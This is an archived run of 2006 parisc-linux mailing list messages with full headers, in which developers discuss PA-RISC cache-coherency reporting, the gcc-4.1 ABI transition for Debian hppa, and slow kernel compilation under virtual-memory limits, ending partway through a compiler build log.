Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15B877D6B0;
	Tue,  2 May 2006 09:18:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07276-07; Tue, 2 May 2006 09:18:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE8E17D6B5;
	Tue,  2 May 2006 09:18:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B36E7D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:18:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07276-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 09:18:51 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id B57A77D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:18:51 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C72FF5840CC;
	Tue,  2 May 2006 11:18:50 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4CE5C5840C6;
	Tue,  2 May 2006 11:18:50 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id D6FF223E83;
	Tue,  2 May 2006 11:18:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21295-02; Tue, 2 May 2006 11:18:49 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id A0DE023E82;
	Tue,  2 May 2006 11:18:49 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 982D32FED8; Tue,  2 May 2006 11:13:45 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200605021510.k42FAps6000117@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Mx0lZIJ1eSE5qr6WZHQhaXN2IGRvb4An
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23658

On Tue, May 02, 2006 at 11:10:51AM -0400, John David Anglin wrote:
> Are there any PA 2.0 machines for which the value of coherent_system
> is 0?  If so, which ones?
>

I'll cook a patch which dumps more cache info.

struct pdc_cache_cf {           /* for PDC_CACHE  (I/D-caches) */
	[...]
                cc_cst  : 3,    /* 0 = incoherent D-cache, 1=coherent D-cache */
	[...]
};

Should tell us what we need to know. 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 11:41:46 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200605021541.k42Ffk5c000458@hiauly1.hia.nrc.ca>
References: <20060502151345.GD6958@skunkworks.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624081 19525 80.91.229.3 (22 Nov 2014 02:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 15:42:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 02 May 2006 17:42:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71FBC7D6C1;
	Tue,  2 May 2006 09:41:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07600-05; Tue, 2 May 2006 09:41:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA6DF7D6CD;
	Tue,  2 May 2006 09:41:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF4F07D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:41:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07443-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 09:41:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 81FD87D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:41:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k42Ffmhv000459;
	Tue, 2 May 2006 11:41:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k42Ffk5c000458;
	Tue, 2 May 2006 11:41:46 -0400 (EDT)
In-Reply-To: <20060502151345.GD6958@skunkworks.cabal.ca> from "Kyle McMartin"
	at May 2, 2006 11:13:45 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mgkyNElqZCEXvbGPamwhd2FwIGhpZUby
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23659

> On Tue, May 02, 2006 at 11:10:51AM -0400, John David Anglin wrote:
> > Are there any PA 2.0 machines for which the value of coherent_system
> > is 0?  If so, which ones?
> >
> 
> I'll cook a patch which dumps more cache info.
> 
> struct pdc_cache_cf {           /* for PDC_CACHE  (I/D-caches) */
> 	[...]
>                 cc_cst  : 3,    /* 0 = incoherent D-cache, 1=coherent D-cache */
> 	[...]
> };
> 
> Should tell us what we need to know. 

Excellent.  Could this go into show_cache_info() so that
"cat /proc/cpuinfo" will show more cache data?  There's also
some stuff in the cache init routine that doesn't print
because of "#if 0".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurel32@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
Date: Fri, 05 May 2006 05:48:12 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <445ACAFC.2060307__4599.89350424639$1416624081$gmane$org@debian.org>
References: <20060501025703.GL18891@mauritius.dodds.net>	<200605011356.k41DugMD023580@hiauly1.hia.nrc.ca>
	<17495.20549.807070.229385@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624081 19527 80.91.229.3 (22 Nov 2014 02:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 364231@bugs.debian.org,
 Steve Langasek <vorlon@debian.org>,
 steven.robbins@videotron.ca,
 debian-hppa@lists.debian.org,
 debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2006 03:48:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 05 May 2006 05:48:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 157407D711;
	Thu,  4 May 2006 21:48:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02468-10; Thu, 4 May 2006 21:48:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A00387D712;
	Thu,  4 May 2006 21:48:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45B737D710
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 21:48:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02730-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 May 2006 21:48:18 -0600 (MDT)
Original-Received: from farad.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 1C56B7D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 21:48:18 -0600 (MDT)
Original-Received: from bode.aurel32.net ([2001:618:400:fc13:211:9ff:feed:c498]
	helo=[IPv6:2001:618:400:fc13:211:9ff:feed:c498])
	by farad.aurel32.net with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1FbrIa-0000Sx-Ss; Fri, 05 May 2006 05:48:12 +0200
User-Agent: Mail/News 1.5 (X11/20060228)
In-Reply-To: <17495.20549.807070.229385@gargle.gargle.HOWL>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pfl8bGWqLi5n8ffRZWtpTKpjZml1ZBjC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23660

Matthias Klose wrote:
> [should we drop parisc-linux?]
> 
> John David Anglin writes:
>>> Er, no; we're talking about official Debian packages here, and the
>>> libstdc++.so.6 in Debian is now from gcc-4.1.  The problem is precisely that
>>> GMP *is* being built using gcc-4.0, but libstdc++ is from gcc-4.1, resulting
>>> in the double libgcc_s problem.
>> Then, you must build *eveything* for hppa with gcc-4.1 or later.
>>
>> Unfortunately, there's an ABI break.  Mixing libraries compiled with
>> 4.0 or earlier with libraries compiled with 4.1 or later is just going
>> to cause unnecessary problems.   3.3 uses libstdc++.so.5, so you
>> avoid the double libgcc_s problem building GMP.  However, you still
>> have the ABI change affecting the passing and return of complex types.
>>
>> At a fundamental level, libstdc++.so.6, libgfortran.so.1.0.0 and any
>> other gcc libraries built with 4.1 or later need glibc built with 4.1
>> to function correctly because of the various complex functions in
>> the math library.
>>
>> I think there's a dynamic loader bug here as well.  I'm just
>> guessing but I think the double libgcc_s problem causes a problem
>> with the handling of .eh_frame data.
> 
> 
> Ok, coming back to the question of the system compiler on hppa for
> etch. Assuming that hppa does want to do that:
> 
> - is glibc buildable with gcc-4.1 on hppa?

Yes, and it seems to works nicely. People who want to try can fetch .deb 
from http://people.debian.org/~aurel32/hppa/

-- 
   .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
  : :' :  Debian developer           | Electrical Engineer
  `. `'   aurel32@debian.org         | aurelien@aurel32.net
    `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa64-...-gcc-4.1 annoying pb?
Date: Fri, 5 May 2006 09:46:34 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200605051346.k45DkZ9R019019@hiauly1.hia.nrc.ca>
References: <IYS8WE$1149DA86EF81D47F85EBAF2CD08B40A2@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624081 19532 80.91.229.3 (22 Nov 2014 02:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2006 13:46:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 05 May 2006 15:46:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8251C7D700;
	Fri,  5 May 2006 07:46:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11905-01; Fri, 5 May 2006 07:46:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9050E7D6DE;
	Fri,  5 May 2006 07:46:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0CCD7D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 May 2006 07:46:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07959-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 May 2006 07:46:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CAB927D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 May 2006 07:46:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k45DkZwv019020;
	Fri, 5 May 2006 09:46:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k45DkZ9R019019;
	Fri, 5 May 2006 09:46:35 -0400 (EDT)
In-Reply-To: <IYS8WE$1149DA86EF81D47F85EBAF2CD08B40A2@scarlet.be> from "Joel
	Soete" at May 5, 2006 10:00:14 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fW9ucFosRkkei6uPfGRq46ZmdWkvKBPf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23661

> mmm, this seems to be a key;
> this morming (to me), I rebuild 2.6.17-rc3-pa3 + your patch the 64bit kernel on:
>     1/ the n4k + ulimit -v 524288 -> compile time nornal 
> 
>     2/ the b2k (default ulimit -v being ulimited) ->  page_alloc.c compilation 
>        very long (even thought this only have 256Mb?)
> 
> > This is on a machine with 1 GB.  I had found that the VM system
> > could thrash and the system crash when it tried to allocate about
> > 1 GB.

I think this is a UP problem.  When too much VM gets allocated
to one process, it blocks some userspace kernel support.  The
following assembler file was where I first noticed the problem:

	.data
foo:
	.block -1

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa64-...-gcc-4.1 annoying pb?
Date: Fri,  5 May 2006 16:48:42 +0200
Lines: 141
Approved: news@gmane.org
Message-ID: <IYSRT6$0AE931C114930275EFD64A51F4A59038@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624082 19536 80.91.229.3 (22 Nov 2014 02:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:22 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2006 14:48:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 05 May 2006 16:48:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C6AD7D705;
	Fri,  5 May 2006 08:48:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12557-04; Fri, 5 May 2006 08:48:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 004397D70C;
	Fri,  5 May 2006 08:48:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6EC7D700
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 May 2006 08:48:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12557-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 May 2006 08:48:46 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 529FC7D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 May 2006 08:48:46 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k45EmfW03304; 
	Fri, 5 May 2006 16:48:41 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 611ucG85Rkkei6uPfGRqI3lmdWkvKBOR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23662

> > mmm, this seems to be a key;
> > this morming (to me), I rebuild 2.6.17-rc3-pa3 + your patch the 64bit=

kernel on:
> >     1/ the n4k + ulimit -v 524288 -> compile time nornal 
> > 
appologies my mistake: it wasn't the same config (i erronioulsy build a s=
mp
kernel):
## to build 64bit up kernel

# sh  ../TstPgAlloc
+ rm mm/page_alloc.o mm/.page_alloc.o.d
rm: cannot remove `mm/.page_alloc.o.d': No such file or directory
+ hppa64-linux-gnu-gcc-4.1 --save-temps -Wp,-MD,mm/.page_alloc.o.d -nostd=
inc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclu=
de
-Iinclude2 -I/usr/src/linux-2.6.17-rc3-pa3/include -include
include/linux/autoconf.h -I/usr/src/linux-2.6.17-rc3-pa3/mm -Imm -Wall -W=
undef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -O2
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D2.0 -mschedule=3D8000
-Wdeclaration-after-statement -Wno-pointer-sign '-DKBUILD_STR(s)=3D#s'
'-DKBUILD_BASENAME=3DKBUILD_STR(page_alloc)'
'-DKBUILD_MODNAME=3DKBUILD_STR(page_alloc)' -c -o mm/page_alloc.o
/usr/src/linux-2.6.17-rc3-pa3/mm/page_alloc.c
hppa64-linux-gnu-gcc-4.1: warning: -pipe ignored because -save-temps spec=
ified

real    64m56.040s
user    63m33.975s
sys     0m0.811s

# ulimit -v 524288
root@patst006:/usr/src/linux-2.6-pa-n4kup-t# sh  ../TstPgAlloc
+ rm mm/page_alloc.o mm/.page_alloc.o.d
+ hppa64-linux-gnu-gcc-4.1 --save-temps -Wp,-MD,mm/.page_alloc.o.d -nostd=
inc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclu=
de
